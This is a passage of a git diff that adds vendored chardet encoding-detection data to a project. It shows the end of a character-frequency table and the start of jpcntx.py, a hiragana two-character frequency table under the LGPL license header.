98,3173,3605,3525,1844,2218,3819,2502, 814, 567, # 2336 + 385,2908,1534,6137, 534,1642,3239, 797,6138,1670,1529, 953,4323, 188,1071, 538, # 2352 + 178, 729,3240,2109,1226,1374,2000,2357,2977, 731,2468,1116,2014,2051,6139,1261, # 2368 +1593, 803,2859,2736,3443, 556, 682, 823,1541,6140,1369,2289,1706,2794, 845, 462, # 2384 +2603,2665,1361, 387, 162,2358,1740, 739,1770,1720,1304,1401,3241,1049, 627,1571, # 2400 +2427,3526,1877,3942,1852,1500, 431,1910,1503, 677, 297,2795, 286,1433,1038,1198, # 2416 +2290,1133,1596,4113,4639,2469,1510,1484,3943,6141,2442, 108, 712,4640,2372, 866, # 2432 +3701,2755,3242,1348, 834,1945,1408,3527,2395,3243,1811, 824, 994,1179,2110,1548, # 2448 +1453, 790,3003, 690,4324,4325,2832,2909,3820,1860,3821, 225,1748, 310, 346,1780, # 2464 +2470, 821,1993,2717,2796, 828, 877,3528,2860,2471,1702,2165,2910,2486,1789, 453, # 2480 + 359,2291,1676, 73,1164,1461,1127,3311, 421, 604, 314,1037, 589, 116,2487, 737, # 2496 + 837,1180, 111, 244, 735,6142,2261,1861,1362, 986, 523, 418, 581,2666,3822, 103, # 2512 + 855, 503,1414,1867,2488,1091, 657,1597, 979, 605,1316,4641,1021,2443,2078,2001, # 2528 +1209, 96, 587,2166,1032, 260,1072,2153, 173, 94, 226,3244, 819,2006,4642,4114, # 2544 +2203, 231,1744, 782, 97,2667, 786,3387, 887, 391, 442,2219,4326,1425,6143,2694, # 2560 + 633,1544,1202, 483,2015, 592,2052,1958,2472,1655, 419, 129,4327,3444,3312,1714, # 2576 +1257,3078,4328,1518,1098, 865,1310,1019,1885,1512,1734, 469,2444, 148, 773, 436, # 2592 +1815,1868,1128,1055,4329,1245,2756,3445,2154,1934,1039,4643, 579,1238, 932,2320, # 2608 + 353, 205, 801, 115,2428, 944,2321,1881, 399,2565,1211, 678, 766,3944, 335,2101, # 2624 +1459,1781,1402,3945,2737,2131,1010, 844, 981,1326,1013, 550,1816,1545,2620,1335, # 2640 +1008, 371,2881, 936,1419,1613,3529,1456,1395,2273,1834,2604,1317,2738,2503, 416, # 2656 +1643,4330, 806,1126, 229, 591,3946,1314,1981,1576,1837,1666, 347,1790, 977,3313, # 2672 + 764,2861,1853, 688,2429,1920,1462, 77, 595, 415,2002,3034, 798,1192,4115,6144, # 2688 +2978,4331,3035,2695,2582,2072,2566, 430,2430,1727, 842,1396,3947,3702, 613, 377, # 2704 + 278, 236,1417,3388,3314,3174, 757,1869, 107,3530,6145,1194, 623,2262, 207,1253, # 2720 +2167,3446,3948, 492,1117,1935, 536,1838,2757,1246,4332, 696,2095,2406,1393,1572, # 2736 +3175,1782, 583, 190, 253,1390,2230, 830,3126,3389, 934,3245,1703,1749,2979,1870, # 2752 +2545,1656,2204, 869,2346,4116,3176,1817, 496,1764,4644, 942,1504, 404,1903,1122, # 2768 +1580,3606,2945,1022, 515, 372,1735, 955,2431,3036,6146,2797,1110,2302,2798, 617, # 2784 +6147, 441, 762,1771,3447,3607,3608,1904, 840,3037, 86, 939,1385, 572,1370,2445, # 2800 +1336, 114,3703, 898, 294, 203,3315, 703,1583,2274, 429, 961,4333,1854,1951,3390, # 2816 +2373,3704,4334,1318,1381, 966,1911,2322,1006,1155, 309, 989, 458,2718,1795,1372, # 2832 +1203, 252,1689,1363,3177, 517,1936, 168,1490, 562, 193,3823,1042,4117,1835, 551, # 2848 + 470,4645, 395, 489,3448,1871,1465,2583,2641, 417,1493, 279,1295, 511,1236,1119, # 2864 + 72,1231,1982,1812,3004, 871,1564, 984,3449,1667,2696,2096,4646,2347,2833,1673, # 2880 +3609, 695,3246,2668, 807,1183,4647, 890, 388,2333,1801,1457,2911,1765,1477,1031, # 2896 +3316,3317,1278,3391,2799,2292,2526, 163,3450,4335,2669,1404,1802,6148,2323,2407, # 2912 +1584,1728,1494,1824,1269, 298, 909,3318,1034,1632, 375, 776,1683,2061, 291, 210, # 2928 +1123, 809,1249,1002,2642,3038, 206,1011,2132, 144, 975, 882,1565, 342, 667, 754, # 2944 +1442,2143,1299,2303,2062, 447, 626,2205,1221,2739,2912,1144,1214,2206,2584, 760, # 2960 +1715, 614, 950,1281,2670,2621, 810, 577,1287,2546,4648, 242,2168, 250,2643, 691, # 2976 + 123,2644, 647, 313,1029, 689,1357,2946,1650, 216, 771,1339,1306, 808,2063, 549, # 2992 + 913,1371,2913,2914,6149,1466,1092,1174,1196,1311,2605,2396,1783,1796,3079, 406, # 3008 +2671,2117,3949,4649, 487,1825,2220,6150,2915, 448,2348,1073,6151,2397,1707, 130, # 3024 + 900,1598, 329, 176,1959,2527,1620,6152,2275,4336,3319,1983,2191,3705,3610,2155, # 3040 +3706,1912,1513,1614,6153,1988, 646, 392,2304,1589,3320,3039,1826,1239,1352,1340, # 3056 +2916, 505,2567,1709,1437,2408,2547, 906,6154,2672, 384,1458,1594,1100,1329, 710, # 3072 + 423,3531,2064,2231,2622,1989,2673,1087,1882, 333, 841,3005,1296,2882,2379, 580, # 3088 +1937,1827,1293,2585, 601, 574, 249,1772,4118,2079,1120, 645, 901,1176,1690, 795, # 3104 +2207, 478,1434, 516,1190,1530, 761,2080, 930,1264, 355, 435,1552, 644,1791, 987, # 3120 + 220,1364,1163,1121,1538, 306,2169,1327,1222, 546,2645, 218, 241, 610,1704,3321, # 3136 +1984,1839,1966,2528, 451,6155,2586,3707,2568, 907,3178, 254,2947, 186,1845,4650, # 3152 + 745, 432,1757, 428,1633, 888,2246,2221,2489,3611,2118,1258,1265, 956,3127,1784, # 3168 +4337,2490, 319, 510, 119, 457,3612, 274,2035,2007,4651,1409,3128, 970,2758, 590, # 3184 +2800, 661,2247,4652,2008,3950,1420,1549,3080,3322,3951,1651,1375,2111, 485,2491, # 3200 +1429,1156,6156,2548,2183,1495, 831,1840,2529,2446, 501,1657, 307,1894,3247,1341, # 3216 + 666, 899,2156,1539,2549,1559, 886, 349,2208,3081,2305,1736,3824,2170,2759,1014, # 3232 +1913,1386, 542,1397,2948, 490, 368, 716, 362, 159, 282,2569,1129,1658,1288,1750, # 3248 +2674, 276, 649,2016, 751,1496, 658,1818,1284,1862,2209,2087,2512,3451, 622,2834, # 3264 + 376, 117,1060,2053,1208,1721,1101,1443, 247,1250,3179,1792,3952,2760,2398,3953, # 3280 +6157,2144,3708, 446,2432,1151,2570,3452,2447,2761,2835,1210,2448,3082, 424,2222, # 3296 +1251,2449,2119,2836, 504,1581,4338, 602, 817, 857,3825,2349,2306, 357,3826,1470, # 3312 +1883,2883, 255, 958, 929,2917,3248, 302,4653,1050,1271,1751,2307,1952,1430,2697, # 3328 +2719,2359, 354,3180, 777, 158,2036,4339,1659,4340,4654,2308,2949,2248,1146,2232, # 3344 +3532,2720,1696,2623,3827,6158,3129,1550,2698,1485,1297,1428, 637, 931,2721,2145, # 3360 + 914,2550,2587, 81,2450, 612, 827,2646,1242,4655,1118,2884, 472,1855,3181,3533, # 3376 +3534, 569,1353,2699,1244,1758,2588,4119,2009,2762,2171,3709,1312,1531,6159,1152, # 3392 +1938, 134,1830, 471,3710,2276,1112,1535,3323,3453,3535, 982,1337,2950, 488, 826, # 3408 + 674,1058,1628,4120,2017, 522,2399, 211, 568,1367,3454, 350, 293,1872,1139,3249, # 3424 +1399,1946,3006,1300,2360,3324, 588, 736,6160,2606, 744, 669,3536,3828,6161,1358, # 3440 + 199, 723, 848, 933, 851,1939,1505,1514,1338,1618,1831,4656,1634,3613, 443,2740, # 3456 +3829, 717,1947, 491,1914,6162,2551,1542,4121,1025,6163,1099,1223, 198,3040,2722, # 3472 + 370, 410,1905,2589, 998,1248,3182,2380, 519,1449,4122,1710, 947, 928,1153,4341, # 3488 +2277, 344,2624,1511, 615, 105, 161,1212,1076,1960,3130,2054,1926,1175,1906,2473, # 3504 + 414,1873,2801,6164,2309, 315,1319,3325, 318,2018,2146,2157, 963, 631, 223,4342, # 3520 +4343,2675, 479,3711,1197,2625,3712,2676,2361,6165,4344,4123,6166,2451,3183,1886, # 3536 +2184,1674,1330,1711,1635,1506, 799, 219,3250,3083,3954,1677,3713,3326,2081,3614, # 3552 +1652,2073,4657,1147,3041,1752, 643,1961, 147,1974,3955,6167,1716,2037, 918,3007, # 3568 +1994, 120,1537, 118, 609,3184,4345, 740,3455,1219, 332,1615,3830,6168,1621,2980, # 3584 +1582, 783, 212, 553,2350,3714,1349,2433,2082,4124, 889,6169,2310,1275,1410, 973, # 3600 + 166,1320,3456,1797,1215,3185,2885,1846,2590,2763,4658, 629, 822,3008, 763, 940, # 3616 +1990,2862, 439,2409,1566,1240,1622, 926,1282,1907,2764, 654,2210,1607, 327,1130, # 3632 +3956,1678,1623,6170,2434,2192, 686, 608,3831,3715, 903,3957,3042,6171,2741,1522, # 3648 +1915,1105,1555,2552,1359, 323,3251,4346,3457, 738,1354,2553,2311,2334,1828,2003, # 3664 +3832,1753,2351,1227,6172,1887,4125,1478,6173,2410,1874,1712,1847, 520,1204,2607, # 3680 + 264,4659, 836,2677,2102, 600,4660,3833,2278,3084,6174,4347,3615,1342, 640, 532, # 3696 + 543,2608,1888,2400,2591,1009,4348,1497, 341,1737,3616,2723,1394, 529,3252,1321, # 3712 + 983,4661,1515,2120, 971,2592, 924, 287,1662,3186,4349,2700,4350,1519, 908,1948, # 3728 +2452, 156, 796,1629,1486,2223,2055, 694,4126,1259,1036,3392,1213,2249,2742,1889, # 3744 +1230,3958,1015, 910, 408, 559,3617,4662, 746, 725, 935,4663,3959,3009,1289, 563, # 3760 + 867,4664,3960,1567,2981,2038,2626, 988,2263,2381,4351, 143,2374, 704,1895,6175, # 3776 +1188,3716,2088, 673,3085,2362,4352, 484,1608,1921,2765,2918, 215, 904,3618,3537, # 3792 + 894, 509, 976,3043,2701,3961,4353,2837,2982, 498,6176,6177,1102,3538,1332,3393, # 3808 +1487,1636,1637, 233, 245,3962, 383, 650, 995,3044, 460,1520,1206,2352, 749,3327, # 3824 + 530, 700, 389,1438,1560,1773,3963,2264, 719,2951,2724,3834, 870,1832,1644,1000, # 3840 + 839,2474,3717, 197,1630,3394, 365,2886,3964,1285,2133, 734, 922, 818,1106, 732, # 3856 + 480,2083,1774,3458, 923,2279,1350, 221,3086, 85,2233,2234,3835,1585,3010,2147, # 3872 +1387,1705,2382,1619,2475, 133, 239,2802,1991,1016,2084,2383, 411,2838,1113, 651, # 3888 +1985,1160,3328, 990,1863,3087,1048,1276,2647, 265,2627,1599,3253,2056, 150, 638, # 3904 +2019, 656, 853, 326,1479, 680,1439,4354,1001,1759, 413,3459,3395,2492,1431, 459, # 3920 +4355,1125,3329,2265,1953,1450,2065,2863, 849, 351,2678,3131,3254,3255,1104,1577, # 3936 + 227,1351,1645,2453,2193,1421,2887, 812,2121, 634, 95,2435, 201,2312,4665,1646, # 3952 +1671,2743,1601,2554,2702,2648,2280,1315,1366,2089,3132,1573,3718,3965,1729,1189, # 3968 + 328,2679,1077,1940,1136, 558,1283, 964,1195, 621,2074,1199,1743,3460,3619,1896, # 3984 +1916,1890,3836,2952,1154,2112,1064, 862, 378,3011,2066,2113,2803,1568,2839,6178, # 4000 +3088,2919,1941,1660,2004,1992,2194, 142, 707,1590,1708,1624,1922,1023,1836,1233, # 4016 +1004,2313, 789, 741,3620,6179,1609,2411,1200,4127,3719,3720,4666,2057,3721, 593, # 4032 +2840, 367,2920,1878,6180,3461,1521, 628,1168, 692,2211,2649, 300, 720,2067,2571, # 4048 +2953,3396, 959,2504,3966,3539,3462,1977, 701,6181, 954,1043, 800, 681, 183,3722, # 4064 +1803,1730,3540,4128,2103, 815,2314, 174, 467, 230,2454,1093,2134, 755,3541,3397, # 4080 +1141,1162,6182,1738,2039, 270,3256,2513,1005,1647,2185,3837, 858,1679,1897,1719, # 4096 +2954,2324,1806, 402, 670, 167,4129,1498,2158,2104, 750,6183, 915, 189,1680,1551, # 4112 + 455,4356,1501,2455, 405,1095,2955, 338,1586,1266,1819, 570, 641,1324, 237,1556, # 4128 +2650,1388,3723,6184,1368,2384,1343,1978,3089,2436, 879,3724, 792,1191, 758,3012, # 4144 +1411,2135,1322,4357, 240,4667,1848,3725,1574,6185, 420,3045,1546,1391, 714,4358, # 4160 +1967, 941,1864, 863, 664, 426, 560,1731,2680,1785,2864,1949,2363, 403,3330,1415, # 4176 +1279,2136,1697,2335, 204, 721,2097,3838, 90,6186,2085,2505, 191,3967, 124,2148, # 4192 +1376,1798,1178,1107,1898,1405, 860,4359,1243,1272,2375,2983,1558,2456,1638, 113, # 4208 +3621, 578,1923,2609, 880, 386,4130, 784,2186,2266,1422,2956,2172,1722, 497, 263, # 4224 +2514,1267,2412,2610, 177,2703,3542, 774,1927,1344, 616,1432,1595,1018, 172,4360, # 4240 +2325, 911,4361, 438,1468,3622, 794,3968,2024,2173,1681,1829,2957, 945, 895,3090, # 4256 + 575,2212,2476, 475,2401,2681, 785,2744,1745,2293,2555,1975,3133,2865, 394,4668, # 4272 +3839, 635,4131, 639, 202,1507,2195,2766,1345,1435,2572,3726,1908,1184,1181,2457, # 4288 +3727,3134,4362, 843,2611, 437, 916,4669, 234, 769,1884,3046,3047,3623, 833,6187, # 4304 +1639,2250,2402,1355,1185,2010,2047, 999, 525,1732,1290,1488,2612, 948,1578,3728, # 4320 +2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, # 4336 +1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, # 4352 +2922,3625, 544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, # 4368 #last 512 +) + + diff --git a/src/thirdparty/chardet/jpcntx.py b/src/thirdparty/chardet/jpcntx.py new file mode 100644 index 0000000000..20044e4bc8 --- /dev/null +++ b/src/thirdparty/chardet/jpcntx.py @@ -0,0 +1,233 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + + +# This is hiragana 2-char sequence table, the number in each cell represents its frequency category +jp2CharContext = ( +(0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1), +(2,4,0,4,0,3,0,4,0,3,4,4,4,2,4,3,3,4,3,2,3,3,4,2,3,3,3,2,4,1,4,3,3,1,5,4,3,4,3,4,3,5,3,0,3,5,4,2,0,3,1,0,3,3,0,3,3,0,1,1,0,4,3,0,3,3,0,4,0,2,0,3,5,5,5,5,4,0,4,1,0,3,4), +(0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2), +(0,4,0,5,0,5,0,4,0,4,5,4,4,3,5,3,5,1,5,3,4,3,4,4,3,4,3,3,4,3,5,4,4,3,5,5,3,5,5,5,3,5,5,3,4,5,5,3,1,3,2,0,3,4,0,4,2,0,4,2,1,5,3,2,3,5,0,4,0,2,0,5,4,4,5,4,5,0,4,0,0,4,4), +(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), +(0,3,0,4,0,3,0,3,0,4,5,4,3,3,3,3,4,3,5,4,4,3,5,4,4,3,4,3,4,4,4,4,5,3,4,4,3,4,5,5,4,5,5,1,4,5,4,3,0,3,3,1,3,3,0,4,4,0,3,3,1,5,3,3,3,5,0,4,0,3,0,4,4,3,4,3,3,0,4,1,1,3,4), +(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), +(0,4,0,3,0,3,0,4,0,3,4,4,3,2,2,1,2,1,3,1,3,3,3,3,3,4,3,1,3,3,5,3,3,0,4,3,0,5,4,3,3,5,4,4,3,4,4,5,0,1,2,0,1,2,0,2,2,0,1,0,0,5,2,2,1,4,0,3,0,1,0,4,4,3,5,4,3,0,2,1,0,4,3), +(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), +(0,3,0,5,0,4,0,2,1,4,4,2,4,1,4,2,4,2,4,3,3,3,4,3,3,3,3,1,4,2,3,3,3,1,4,4,1,1,1,4,3,3,2,0,2,4,3,2,0,3,3,0,3,1,1,0,0,0,3,3,0,4,2,2,3,4,0,4,0,3,0,4,4,5,3,4,4,0,3,0,0,1,4), +(1,4,0,4,0,4,0,4,0,3,5,4,4,3,4,3,5,4,3,3,4,3,5,4,4,4,4,3,4,2,4,3,3,1,5,4,3,2,4,5,4,5,5,4,4,5,4,4,0,3,2,2,3,3,0,4,3,1,3,2,1,4,3,3,4,5,0,3,0,2,0,4,5,5,4,5,4,0,4,0,0,5,4), +(0,5,0,5,0,4,0,3,0,4,4,3,4,3,3,3,4,0,4,4,4,3,4,3,4,3,3,1,4,2,4,3,4,0,5,4,1,4,5,4,4,5,3,2,4,3,4,3,2,4,1,3,3,3,2,3,2,0,4,3,3,4,3,3,3,4,0,4,0,3,0,4,5,4,4,4,3,0,4,1,0,1,3), +(0,3,1,4,0,3,0,2,0,3,4,4,3,1,4,2,3,3,4,3,4,3,4,3,4,4,3,2,3,1,5,4,4,1,4,4,3,5,4,4,3,5,5,4,3,4,4,3,1,2,3,1,2,2,0,3,2,0,3,1,0,5,3,3,3,4,3,3,3,3,4,4,4,4,5,4,2,0,3,3,2,4,3), +(0,2,0,3,0,1,0,1,0,0,3,2,0,0,2,0,1,0,2,1,3,3,3,1,2,3,1,0,1,0,4,2,1,1,3,3,0,4,3,3,1,4,3,3,0,3,3,2,0,0,0,0,1,0,0,2,0,0,0,0,0,4,1,0,2,3,2,2,2,1,3,3,3,4,4,3,2,0,3,1,0,3,3), +(0,4,0,4,0,3,0,3,0,4,4,4,3,3,3,3,3,3,4,3,4,2,4,3,4,3,3,2,4,3,4,5,4,1,4,5,3,5,4,5,3,5,4,0,3,5,5,3,1,3,3,2,2,3,0,3,4,1,3,3,2,4,3,3,3,4,0,4,0,3,0,4,5,4,4,5,3,0,4,1,0,3,4), +(0,2,0,3,0,3,0,0,0,2,2,2,1,0,1,0,0,0,3,0,3,0,3,0,1,3,1,0,3,1,3,3,3,1,3,3,3,0,1,3,1,3,4,0,0,3,1,1,0,3,2,0,0,0,0,1,3,0,1,0,0,3,3,2,0,3,0,0,0,0,0,3,4,3,4,3,3,0,3,0,0,2,3), +(2,3,0,3,0,2,0,1,0,3,3,4,3,1,3,1,1,1,3,1,4,3,4,3,3,3,0,0,3,1,5,4,3,1,4,3,2,5,5,4,4,4,4,3,3,4,4,4,0,2,1,1,3,2,0,1,2,0,0,1,0,4,1,3,3,3,0,3,0,1,0,4,4,4,5,5,3,0,2,0,0,4,4), +(0,2,0,1,0,3,1,3,0,2,3,3,3,0,3,1,0,0,3,0,3,2,3,1,3,2,1,1,0,0,4,2,1,0,2,3,1,4,3,2,0,4,4,3,1,3,1,3,0,1,0,0,1,0,0,0,1,0,0,0,0,4,1,1,1,2,0,3,0,0,0,3,4,2,4,3,2,0,1,0,0,3,3), +(0,1,0,4,0,5,0,4,0,2,4,4,2,3,3,2,3,3,5,3,3,3,4,3,4,2,3,0,4,3,3,3,4,1,4,3,2,1,5,5,3,4,5,1,3,5,4,2,0,3,3,0,1,3,0,4,2,0,1,3,1,4,3,3,3,3,0,3,0,1,0,3,4,4,4,5,5,0,3,0,1,4,5), +(0,2,0,3,0,3,0,0,0,2,3,1,3,0,4,0,1,1,3,0,3,4,3,2,3,1,0,3,3,2,3,1,3,0,2,3,0,2,1,4,1,2,2,0,0,3,3,0,0,2,0,0,0,1,0,0,0,0,2,2,0,3,2,1,3,3,0,2,0,2,0,0,3,3,1,2,4,0,3,0,2,2,3), +(2,4,0,5,0,4,0,4,0,2,4,4,4,3,4,3,3,3,1,2,4,3,4,3,4,4,5,0,3,3,3,3,2,0,4,3,1,4,3,4,1,4,4,3,3,4,4,3,1,2,3,0,4,2,0,4,1,0,3,3,0,4,3,3,3,4,0,4,0,2,0,3,5,3,4,5,2,0,3,0,0,4,5), +(0,3,0,4,0,1,0,1,0,1,3,2,2,1,3,0,3,0,2,0,2,0,3,0,2,0,0,0,1,0,1,1,0,0,3,1,0,0,0,4,0,3,1,0,2,1,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,4,2,2,3,1,0,3,0,0,0,1,4,4,4,3,0,0,4,0,0,1,4), +(1,4,1,5,0,3,0,3,0,4,5,4,4,3,5,3,3,4,4,3,4,1,3,3,3,3,2,1,4,1,5,4,3,1,4,4,3,5,4,4,3,5,4,3,3,4,4,4,0,3,3,1,2,3,0,3,1,0,3,3,0,5,4,4,4,4,4,4,3,3,5,4,4,3,3,5,4,0,3,2,0,4,4), +(0,2,0,3,0,1,0,0,0,1,3,3,3,2,4,1,3,0,3,1,3,0,2,2,1,1,0,0,2,0,4,3,1,0,4,3,0,4,4,4,1,4,3,1,1,3,3,1,0,2,0,0,1,3,0,0,0,0,2,0,0,4,3,2,4,3,5,4,3,3,3,4,3,3,4,3,3,0,2,1,0,3,3), +(0,2,0,4,0,3,0,2,0,2,5,5,3,4,4,4,4,1,4,3,3,0,4,3,4,3,1,3,3,2,4,3,0,3,4,3,0,3,4,4,2,4,4,0,4,5,3,3,2,2,1,1,1,2,0,1,5,0,3,3,2,4,3,3,3,4,0,3,0,2,0,4,4,3,5,5,0,0,3,0,2,3,3), +(0,3,0,4,0,3,0,1,0,3,4,3,3,1,3,3,3,0,3,1,3,0,4,3,3,1,1,0,3,0,3,3,0,0,4,4,0,1,5,4,3,3,5,0,3,3,4,3,0,2,0,1,1,1,0,1,3,0,1,2,1,3,3,2,3,3,0,3,0,1,0,1,3,3,4,4,1,0,1,2,2,1,3), +(0,1,0,4,0,4,0,3,0,1,3,3,3,2,3,1,1,0,3,0,3,3,4,3,2,4,2,0,1,0,4,3,2,0,4,3,0,5,3,3,2,4,4,4,3,3,3,4,0,1,3,0,0,1,0,0,1,0,0,0,0,4,2,3,3,3,0,3,0,0,0,4,4,4,5,3,2,0,3,3,0,3,5), +(0,2,0,3,0,0,0,3,0,1,3,0,2,0,0,0,1,0,3,1,1,3,3,0,0,3,0,0,3,0,2,3,1,0,3,1,0,3,3,2,0,4,2,2,0,2,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,2,1,2,0,1,0,1,0,0,0,1,3,1,2,0,0,0,1,0,0,1,4), +(0,3,0,3,0,5,0,1,0,2,4,3,1,3,3,2,1,1,5,2,1,0,5,1,2,0,0,0,3,3,2,2,3,2,4,3,0,0,3,3,1,3,3,0,2,5,3,4,0,3,3,0,1,2,0,2,2,0,3,2,0,2,2,3,3,3,0,2,0,1,0,3,4,4,2,5,4,0,3,0,0,3,5), +(0,3,0,3,0,3,0,1,0,3,3,3,3,0,3,0,2,0,2,1,1,0,2,0,1,0,0,0,2,1,0,0,1,0,3,2,0,0,3,3,1,2,3,1,0,3,3,0,0,1,0,0,0,0,0,2,0,0,0,0,0,2,3,1,2,3,0,3,0,1,0,3,2,1,0,4,3,0,1,1,0,3,3), +(0,4,0,5,0,3,0,3,0,4,5,5,4,3,5,3,4,3,5,3,3,2,5,3,4,4,4,3,4,3,4,5,5,3,4,4,3,4,4,5,4,4,4,3,4,5,5,4,2,3,4,2,3,4,0,3,3,1,4,3,2,4,3,3,5,5,0,3,0,3,0,5,5,5,5,4,4,0,4,0,1,4,4), +(0,4,0,4,0,3,0,3,0,3,5,4,4,2,3,2,5,1,3,2,5,1,4,2,3,2,3,3,4,3,3,3,3,2,5,4,1,3,3,5,3,4,4,0,4,4,3,1,1,3,1,0,2,3,0,2,3,0,3,0,0,4,3,1,3,4,0,3,0,2,0,4,4,4,3,4,5,0,4,0,0,3,4), +(0,3,0,3,0,3,1,2,0,3,4,4,3,3,3,0,2,2,4,3,3,1,3,3,3,1,1,0,3,1,4,3,2,3,4,4,2,4,4,4,3,4,4,3,2,4,4,3,1,3,3,1,3,3,0,4,1,0,2,2,1,4,3,2,3,3,5,4,3,3,5,4,4,3,3,0,4,0,3,2,2,4,4), +(0,2,0,1,0,0,0,0,0,1,2,1,3,0,0,0,0,0,2,0,1,2,1,0,0,1,0,0,0,0,3,0,0,1,0,1,1,3,1,0,0,0,1,1,0,1,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,1,2,2,0,3,4,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1), +(0,1,0,0,0,1,0,0,0,0,4,0,4,1,4,0,3,0,4,0,3,0,4,0,3,0,3,0,4,1,5,1,4,0,0,3,0,5,0,5,2,0,1,0,0,0,2,1,4,0,1,3,0,0,3,0,0,3,1,1,4,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0), +(1,4,0,5,0,3,0,2,0,3,5,4,4,3,4,3,5,3,4,3,3,0,4,3,3,3,3,3,3,2,4,4,3,1,3,4,4,5,4,4,3,4,4,1,3,5,4,3,3,3,1,2,2,3,3,1,3,1,3,3,3,5,3,3,4,5,0,3,0,3,0,3,4,3,4,4,3,0,3,0,2,4,3), +(0,1,0,4,0,0,0,0,0,1,4,0,4,1,4,2,4,0,3,0,1,0,1,0,0,0,0,0,2,0,3,1,1,1,0,3,0,0,0,1,2,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,3,0,0,0,0,3,2,0,2,2,0,1,0,0,0,2,3,2,3,3,0,0,0,0,2,1,0), +(0,5,1,5,0,3,0,3,0,5,4,4,5,1,5,3,3,0,4,3,4,3,5,3,4,3,3,2,4,3,4,3,3,0,3,3,1,4,4,3,4,4,4,3,4,5,5,3,2,3,1,1,3,3,1,3,1,1,3,3,2,4,5,3,3,5,0,4,0,3,0,4,4,3,5,3,3,0,3,4,0,4,3), +(0,5,0,5,0,3,0,2,0,4,4,3,5,2,4,3,3,3,4,4,4,3,5,3,5,3,3,1,4,0,4,3,3,0,3,3,0,4,4,4,4,5,4,3,3,5,5,3,2,3,1,2,3,2,0,1,0,0,3,2,2,4,4,3,1,5,0,4,0,3,0,4,3,1,3,2,1,0,3,3,0,3,3), +(0,4,0,5,0,5,0,4,0,4,5,5,5,3,4,3,3,2,5,4,4,3,5,3,5,3,4,0,4,3,4,4,3,2,4,4,3,4,5,4,4,5,5,0,3,5,5,4,1,3,3,2,3,3,1,3,1,0,4,3,1,4,4,3,4,5,0,4,0,2,0,4,3,4,4,3,3,0,4,0,0,5,5), +(0,4,0,4,0,5,0,1,1,3,3,4,4,3,4,1,3,0,5,1,3,0,3,1,3,1,1,0,3,0,3,3,4,0,4,3,0,4,4,4,3,4,4,0,3,5,4,1,0,3,0,0,2,3,0,3,1,0,3,1,0,3,2,1,3,5,0,3,0,1,0,3,2,3,3,4,4,0,2,2,0,4,4), +(2,4,0,5,0,4,0,3,0,4,5,5,4,3,5,3,5,3,5,3,5,2,5,3,4,3,3,4,3,4,5,3,2,1,5,4,3,2,3,4,5,3,4,1,2,5,4,3,0,3,3,0,3,2,0,2,3,0,4,1,0,3,4,3,3,5,0,3,0,1,0,4,5,5,5,4,3,0,4,2,0,3,5), +(0,5,0,4,0,4,0,2,0,5,4,3,4,3,4,3,3,3,4,3,4,2,5,3,5,3,4,1,4,3,4,4,4,0,3,5,0,4,4,4,4,5,3,1,3,4,5,3,3,3,3,3,3,3,0,2,2,0,3,3,2,4,3,3,3,5,3,4,1,3,3,5,3,2,0,0,0,0,4,3,1,3,3), +(0,1,0,3,0,3,0,1,0,1,3,3,3,2,3,3,3,0,3,0,0,0,3,1,3,0,0,0,2,2,2,3,0,0,3,2,0,1,2,4,1,3,3,0,0,3,3,3,0,1,0,0,2,1,0,0,3,0,3,1,0,3,0,0,1,3,0,2,0,1,0,3,3,1,3,3,0,0,1,1,0,3,3), 